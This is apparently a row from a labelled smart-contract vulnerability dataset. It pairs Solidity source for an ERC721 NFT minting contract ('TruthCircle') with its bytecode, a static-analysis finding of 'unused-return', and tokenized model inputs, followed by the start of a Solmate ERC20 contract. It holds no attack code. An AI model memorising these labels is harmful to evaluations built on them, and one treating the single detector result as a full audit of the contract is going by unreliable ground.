and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract TruthCircle is ERC721, ERC721Enumerable, Ownable { string public PROVENANCE; bool public saleIsActive = false; string private _baseURIextended; bool public isAllowListActive = false; uint256 public constant MAX_SUPPLY = 10000; uint256 public constant MAX_PUBLIC_MINT = 1; uint256 public constant PRICE_PER_TOKEN = 0.08 ether; mapping(address => uint8) private _allowList; constructor() ERC721("Terraform: Truth Circle", "TRUTHCIRCLE") { } function setIsAllowListActive(bool _isAllowListActive) external onlyOwner { isAllowListActive = _isAllowListActive; } function setAllowList(address[] calldata addresses, uint8 numAllowedToMint) external onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { _allowList[addresses[i]] = numAllowedToMint; } } function numAvailableToMint(address addr) external view returns (uint8) { return _allowList[addr]; } function mintAllowList(uint8 numberOfTokens) external payable { uint256 ts = totalSupply(); require(isAllowListActive, "Allow list is not active"); require(numberOfTokens <= _allowList[msg.sender], "Exceeded max available to purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); _allowList[msg.sender] -= numberOfTokens; for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseURIextended = baseURI_; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIextended; } function setProvenance(string memory provenance) public onlyOwner { PROVENANCE = provenance; } function reserve(uint256 n) public onlyOwner { uint supply = totalSupply(); uint i; for (i = 0; i < n; i++) { _safeMint(msg.sender, supply + i); } } function setSaleState(bool newState) public onlyOwner { saleIsActive = newState; } function mint(uint numberOfTokens) public payable { uint256 ts = totalSupply(); require(saleIsActive, "Sale must be active to mint tokens"); require(numberOfTokens <= MAX_PUBLIC_MINT, "Exceeded max token purchase"); require(ts + numberOfTokens <= MAX_SUPPLY, "Purchase would exceed max tokens"); require(PRICE_PER_TOKEN * numberOfTokens <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < numberOfTokens; i++) { _safeMint(msg.sender, ts + i); } } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } }
0x6080604052600436106102045760003560e01c8063715018a611610118578063b88d4fde116100a0578063ddff5b1c1161006f578063ddff5b1c1461058f578063e985e9c5146105a2578063eb8d2444146105c2578063f2fde38b146105d7578063ffe630b5146105f757610204565b8063b88d4fde14610502578063c04a283614610522578063c4e370951461054f578063c87b56dd1461056f57610204565b8063833b9499116100e7578063833b9499146104905780638da5cb5b146104a557806395d89b41146104ba578063a0712d68146104cf578063a22cb465146104e257610204565b8063715018a61461041b578063718bc4af14610430578063819b25ba146104505780638295784d1461047057610204565b806332cb6b0c1161019b57806355f804b31161016a57806355f804b3146103915780636352211e146103b15780636373a6b1146103d157806365f13097146103e657806370a08231146103fb57610204565b806332cb6b0c146103275780633ccfd60b1461033c57806342842e0e146103515780634f6ccce71461037157610204565b806318160ddd116101d757806318160ddd146102b057806323b872dd146102d257806329fc6bae146102f25780632f745c591461030757610204565b806301ffc9a71461020957806306fdde031461023f578063081812fc14610261578063095ea7b31461028e575b600080fd5b34801561021557600080fd5b50610229610224366004611e00565b610617565b6040516102369190611f5c565b60405180910390f35b34801561024b57600080fd5b5061025461062a565b6040516102369190611f67565b34801561026d57600080fd5b5061028161027c366004611e7e565b6106bc565b6040516102369190611f0b565b34801561029a57600080fd5b506102ae6102a9366004611d3f565b610708565b005b3480156102bc57600080fd5b506102c56107a0565b60405161023691906125d5565b3480156102de57600080fd5b506102ae6102ed366004611c62565b6107a6565b3480156102fe57600080fd5b506102296107de565b34801561031357600080fd5b506102c5610322366004611d3f565b6107e7565b34801561033357600080fd5b506102c5610839565b34801561034857600080fd5b506102ae61083f565b34801561035d57600080fd5b506102ae61036c366004611c62565b6108b1565b34801561037d57600080fd5b506102c561038c366004611e7e565b6108cc565b34801561039d57600080fd5b506102ae6103ac366004611e38565b610927565b3480156103bd57600080fd5b506102816103cc366004611e7e565b610979565b3480156103dd57600080fd5b506102546109ae565b3480156103f257600080fd5b506102c5610a3c565b34801561040757600080fd5b506102c5610416366004611c16565b610a41565b34801561042757600080fd5b506102ae610a85565b34801561043c57600080fd5b506102ae61044b366004611de6565b610ad0565b34801561045c57600080fd5b506102ae61046b366004611e7e565b610b22565b34801561047c57600080fd5b506102ae61048b366004611d68565b610b9d565b34801561049c57600080fd5b506102c5610c64565b3480156104b157600080fd5b50610281610c70565b3480156104c657600080fd5b50610254610c7f565b6102ae6104dd366004611e7e565b610c8e565b3480156104ee57600080fd5b506102ae6104fd366004611d16565b610d65565b34801561050e57600080fd5b506102ae61051d366004611c9d565b610e33565b34801561052e57600080fd5b5061054261053d366004611c16565b610e6c565b60405161023691906125de565b34801561055b57600080fd5b506102ae61056a366004611de6565b610e8a565b34801561057b57600080fd5b5061025461058a366004611e7e565b610edc565b6102ae61059d366004611e96565b610f5f565b3480156105ae57600080fd5b506102296105bd366004611c30565b61108e565b3480156105ce57600080fd5b506102296110bc565b3480156105e357600080fd5b506102ae6105f2366004611c16565b6110c5565b34801561060357600080fd5b506102ae610612366004611e38565b611136565b600061062282611188565b90505b919050565b6060600080546106399061269d565b80601f01602080910402602001604051908101604052809291908181526020018280546106659061269d565b80156106b25780601f10610687576101008083540402835291602001916106b2565b820191906000526020600020905b81548152906001019060200180831161069557829003601f168201915b5050505050905090565b60006106c7826111ad565b6106ec5760405162461bcd60e51b81526004016106e3906122ec565b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b600061071382610979565b9050806001600160a01b0316836001600160a01b031614156107475760405162461bcd60e51b81526004016106e390612447565b806001600160a01b03166107596111ca565b6001600160a01b031614806107755750610775816105bd6111ca565b6107915760405162461bcd60e51b81526004016106e3906121c7565b61079b83836111ce565b505050565b60085490565b6107b76107b16111ca565b8261123c565b6107d35760405162461bcd60e51b81526004016106e390612501565b61079b8383836112c1565b600e5460ff1681565b60006107f283610a41565b82106108105760405162461bcd60e51b81526004016106e390611f7a565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b61271081565b6108476111ca565b6001600160a01b0316610858610c70565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016106e390612338565b6040514790339082156108fc029083906000818181858888f193505050501580156108ad573d6000803e3d6000fd5b5050565b61079b83838360405180602001604052806000815250610e33565b60006108d66107a0565b82106108f45760405162461bcd60e51b81526004016106e390612552565b6008828154811061091557634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b61092f6111ca565b6001600160a01b0316610940610c70565b6001600160a01b0316146109665760405162461bcd60e51b81526004016106e390612338565b80516108ad90600d906020840190611ad5565b6000818152600260205260408120546001600160a01b0316806106225760405162461bcd60e51b81526004016106e39061226e565b600b80546109bb9061269d565b80601f01602080910402602001604051908101604052809291908181526020018280546109e79061269d565b8015610a345780601f10610a0957610100808354040283529160200191610a34565b820191906000526020600020905b815481529060010190602001808311610a1757829003601f168201915b505050505081565b600181565b60006001600160a01b038216610a695760405162461bcd60e51b81526004016106e390612224565b506001600160a01b031660009081526003602052604090205490565b610a8d6111ca565b6001600160a01b0316610a9e610c70565b6001600160a01b031614610ac45760405162461bcd60e51b81526004016106e390612338565b610ace60006113ee565b565b610ad86111ca565b6001600160a01b0316610ae9610c70565b6001600160a01b031614610b0f5760405162461bcd60e51b81526004016106e390612338565b600e805460ff1916911515919091179055565b610b2a6111ca565b6001600160a01b0316610b3b610c70565b6001600160a01b031614610b615760405162461bcd60e51b81526004016106e390612338565b6000610b6b6107a0565b905060005b8281101561079b57610b8b33610b8683856125ec565b611440565b80610b95816126d8565b915050610b70565b610ba56111ca565b6001600160a01b0316610bb6610c70565b6001600160a01b031614610bdc5760405162461bcd60e51b81526004016106e390612338565b60005b82811015610c5e5781600f6000868685818110610c0c57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610c219190611c16565b6001600160a01b031681526020810191909152604001600020805460ff191660ff9290921691909117905580610c56816126d8565b915050610bdf565b50505050565b67011c37937e08000081565b600a546001600160a01b031690565b6060600180546106399061269d565b6000610c986107a0565b600c5490915060ff16610cbd5760405162461bcd60e51b81526004016106e390612405565b6001821115610cde5760405162461bcd60e51b81526004016106e390612488565b612710610ceb83836125ec565b1115610d095760405162461bcd60e51b81526004016106e39061205d565b34610d1c8367011c37937e080000612618565b1115610d3a5760405162461bcd60e51b81526004016106e390612144565b60005b8281101561079b57610d5333610b8683856125ec565b80610d5d816126d8565b915050610d3d565b610d6d6111ca565b6001600160a01b0316826001600160a01b03161415610d9e5760405162461bcd60e51b81526004016106e39061210d565b8060056000610dab6111ca565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610def6111ca565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610e279190611f5c565b60405180910390a35050565b610e44610e3e6111ca565b8361123c565b610e605760405162461bcd60e51b81526004016106e390612501565b610c5e8484848461145a565b6001600160a01b03166000908152600f602052604090205460ff1690565b610e926111ca565b6001600160a01b0316610ea3610c70565b6001600160a01b031614610ec95760405162461bcd60e51b81526004016106e390612338565b600c805460ff1916911515919091179055565b6060610ee7826111ad565b610f035760405162461bcd60e51b81526004016106e3906123b6565b6000610f0d61148d565b90506000815111610f2d5760405180602001604052806000815250610f58565b80610f378461149c565b604051602001610f48929190611edc565b6040516020818303038152906040525b9392505050565b6000610f696107a0565b600e5490915060ff16610f8e5760405162461bcd60e51b81526004016106e39061259e565b336000908152600f602052604090205460ff9081169083161115610fc45760405162461bcd60e51b81526004016106e3906124bf565b612710610fd460ff8416836125ec565b1115610ff25760405162461bcd60e51b81526004016106e39061205d565b3461100860ff841667011c37937e080000612618565b11156110265760405162461bcd60e51b81526004016106e390612144565b336000908152600f60205260408120805484929061104890849060ff1661264e565b92506101000a81548160ff021916908360ff16021790555060005b8260ff1681101561079b5761107c33610b8683856125ec565b80611086816126d8565b915050611063565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b600c5460ff1681565b6110cd6111ca565b6001600160a01b03166110de610c70565b6001600160a01b0316146111045760405162461bcd60e51b81526004016106e390612338565b6001600160a01b03811661112a5760405162461bcd60e51b81526004016106e390612017565b611133816113ee565b50565b61113e6111ca565b6001600160a01b031661114f610c70565b6001600160a01b0316146111755760405162461bcd60e51b81526004016106e390612338565b80516108ad90600b906020840190611ad5565b60006001600160e01b0319821663780e9d6360e01b14806106225750610622826115b7565b6000908152600260205260409020546001600160a01b0316151590565b3390565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061120382610979565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611247826111ad565b6112635760405162461bcd60e51b81526004016106e39061217b565b600061126e83610979565b9050806001600160a01b0316846001600160a01b031614806112a95750836001600160a01b031661129e846106bc565b6001600160a01b0316145b806112b957506112b9818561108e565b949350505050565b826001600160a01b03166112d482610979565b6001600160a01b0316146112fa5760405162461bcd60e51b81526004016106e39061236d565b6001600160a01b0382166113205760405162461bcd60e51b81526004016106e3906120c9565b61132b8383836115f7565b6113366000826111ce565b6001600160a01b038316600090815260036020526040812080546001929061135f908490612637565b90915550506001600160a01b038216600090815260036020526040812080546001929061138d9084906125ec565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6108ad828260405180602001604052806000815250611602565b6114658484846112c1565b61147184848484611635565b610c5e5760405162461bcd60e51b81526004016106e390611fc5565b6060600d80546106399061269d565b6060816114c157506040805180820190915260018152600360fc1b6020820152610625565b8160005b81156114eb57806114d5816126d8565b91506114e49050600a83612604565b91506114c5565b60008167ffffffffffffffff81111561151457634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f19166020018201604052801561153e576020820181803683370190505b5090505b84156112b957611553600183612637565b9150611560600a866126f3565b61156b9060306125ec565b60f81b81838151811061158e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506115b0600a86612604565b9450611542565b60006001600160e01b031982166380ac58cd60e01b14806115e857506001600160e01b03198216635b5e139f60e01b145b80610622575061062282611750565b61079b838383611769565b61160c83836117f2565b6116196000848484611635565b61079b5760405162461bcd60e51b81526004016106e390611fc5565b6000611649846001600160a01b03166118d1565b1561174557836001600160a01b031663150b7a026116656111ca565b8786866040518563ffffffff1660e01b81526004016116879493929190611f1f565b602060405180830381600087803b1580156116a157600080fd5b505af19250505080156116d1575060408051601f3d908101601f191682019092526116ce91810190611e1c565b60015b61172b573d8080156116ff576040519150601f19603f3d011682016040523d82523d6000602084013e611704565b606091505b5080516117235760405162461bcd60e51b81526004016106e390611fc5565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506112b9565b506001949350505050565b6001600160e01b031981166301ffc9a760e01b14919050565b61177483838361079b565b6001600160a01b0383166117905761178b816118d7565b6117b3565b816001600160a01b0316836001600160a01b0316146117b3576117b3838261191b565b6001600160a01b0382166117cf576117ca816119b8565b61079b565b826001600160a01b0316826001600160a01b03161461079b5761079b8282611a91565b6001600160a01b0382166118185760405162461bcd60e51b81526004016106e3906122b7565b611821816111ad565b1561183e5760405162461bcd60e51b81526004016106e390612092565b61184a600083836115f7565b6001600160a01b03821660009081526003602052604081208054600192906118739084906125ec565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b6000600161192884610a41565b6119329190612637565b600083815260076020526040902054909150808214611985576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b6008546000906119ca90600190612637565b60008381526009602052604081205460088054939450909284908110611a0057634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508060088381548110611a2f57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611a7557634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000611a9c83610a41565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b828054611ae19061269d565b90600052602060002090601f016020900481019282611b035760008555611b49565b82601f10611b1c57805160ff1916838001178555611b49565b82800160010185558215611b49579182015b82811115611b49578251825591602001919060010190611b2e565b50611b55929150611b59565b5090565b5b80821115611b555760008155600101611b5a565b600067ffffffffffffffff80841115611b8957611b89612733565b604051601f8501601f191681016020018281118282101715611bad57611bad612733565b604052848152915081838501861015611bc557600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b038116811461062557600080fd5b8035801515811461062557600080fd5b803560ff8116811461062557600080fd5b600060208284031215611c27578081fd5b610f5882611bde565b60008060408385031215611c42578081fd5b611c4b83611bde565b9150611c5960208401611bde565b90509250929050565b600080600060608486031215611c76578081fd5b611c7f84611bde565b9250611c8d60208501611bde565b9150604084013590509250925092565b60008060008060808587031215611cb2578081fd5b611cbb85611bde565b9350611cc960208601611bde565b925060408501359150606085013567ffffffffffffffff811115611ceb578182fd5b8501601f81018713611cfb578182fd5b611d0a87823560208401611b6e565b91505092959194509250565b60008060408385031215611d28578182fd5b611d3183611bde565b9150611c5960208401611bf5565b60008060408385031215611d51578182fd5b611d5a83611bde565b946020939093013593505050565b600080600060408486031215611d7c578283fd5b833567ffffffffffffffff80821115611d93578485fd5b818601915086601f830112611da6578485fd5b813581811115611db4578586fd5b8760208083028501011115611dc7578586fd5b602092830195509350611ddd9186019050611c05565b90509250925092565b600060208284031215611df7578081fd5b610f5882611bf5565b600060208284031215611e11578081fd5b8135610f5881612749565b600060208284031215611e2d578081fd5b8151610f5881612749565b600060208284031215611e49578081fd5b813567ffffffffffffffff811115611e5f578182fd5b8201601f81018413611e6f578182fd5b6112b984823560208401611b6e565b600060208284031215611e8f578081fd5b5035919050565b600060208284031215611ea7578081fd5b610f5882611c05565b60008151808452611ec8816020860160208601612671565b601f01601f19169290920160200192915050565b60008351611eee818460208801612671565b835190830190611f02818360208801612671565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611f5290830184611eb0565b9695505050505050565b901515815260200190565b600060208252610f586020830184611eb0565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252818101527f507572636861736520776f756c6420657863656564206d617820746f6b656e73604082015260600190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252601f908201527f45746865722076616c75652073656e74206973206e6f7420636f727265637400604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526022908201527f53616c65206d7573742062652061637469766520746f206d696e7420746f6b656040820152616e7360f01b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b6020808252601b908201527f4578636565646564206d617820746f6b656e2070757263686173650000000000604082015260600190565b60208082526022908201527f4578636565646564206d617820617661696c61626c6520746f20707572636861604082015261736560f01b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b60208082526018908201527f416c6c6f77206c697374206973206e6f74206163746976650000000000000000604082015260600190565b90815260200190565b60ff91909116815260200190565b600082198211156125ff576125ff612707565b500190565b6000826126135761261361271d565b500490565b600081600019048311821515161561263257612632612707565b500290565b60008282101561264957612649612707565b500390565b600060ff821660ff84168082101561266857612668612707565b90039392505050565b60005b8381101561268c578181015183820152602001612674565b83811115610c5e5750506000910152565b6002810460018216806126b157607f821691505b602082108114156126d257634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156126ec576126ec612707565b5060010190565b6000826127025761270261271d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461113357600080fdfea2646970667358221220cee44b8100ccc060ab52a1eb511c259e098ca6d03fb938e13c160e6d0e127b6264736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 23352, 2497, 2581, 2497, 2575, 21926, 4783, 2620, 2683, 21619, 10790, 2683, 19841, 2497, 2549, 2497, 21486, 2497, 23777, 19961, 2683, 2094, 21084, 2050, 2581, 15136, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,544
0x96f7911fbc396ccbeec8fbfb45e620b665a29b8f
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity 0.8.10; /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/tokens/ERC20.sol) /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. abstract contract ERC20 { /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ string public name; string public symbol; uint8 public immutable decimals; /*/////////////////////////////////////////////////////////////// ERC20 STORAGE //////////////////////////////////////////////////////////////*/ uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; /*/////////////////////////////////////////////////////////////// EIP-2612 STORAGE //////////////////////////////////////////////////////////////*/ uint256 internal immutable INITIAL_CHAIN_ID; bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; mapping(address => uint256) public nonces; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor( string memory _name, string memory _symbol, uint8 _decimals ) { name = _name; symbol = _symbol; decimals = _decimals; INITIAL_CHAIN_ID = block.chainid; INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); } /*/////////////////////////////////////////////////////////////// ERC20 LOGIC //////////////////////////////////////////////////////////////*/ function approve(address spender, uint256 amount) public virtual returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { balanceOf[msg.sender] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(msg.sender, to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } /*/////////////////////////////////////////////////////////////// EIP-2612 LOGIC 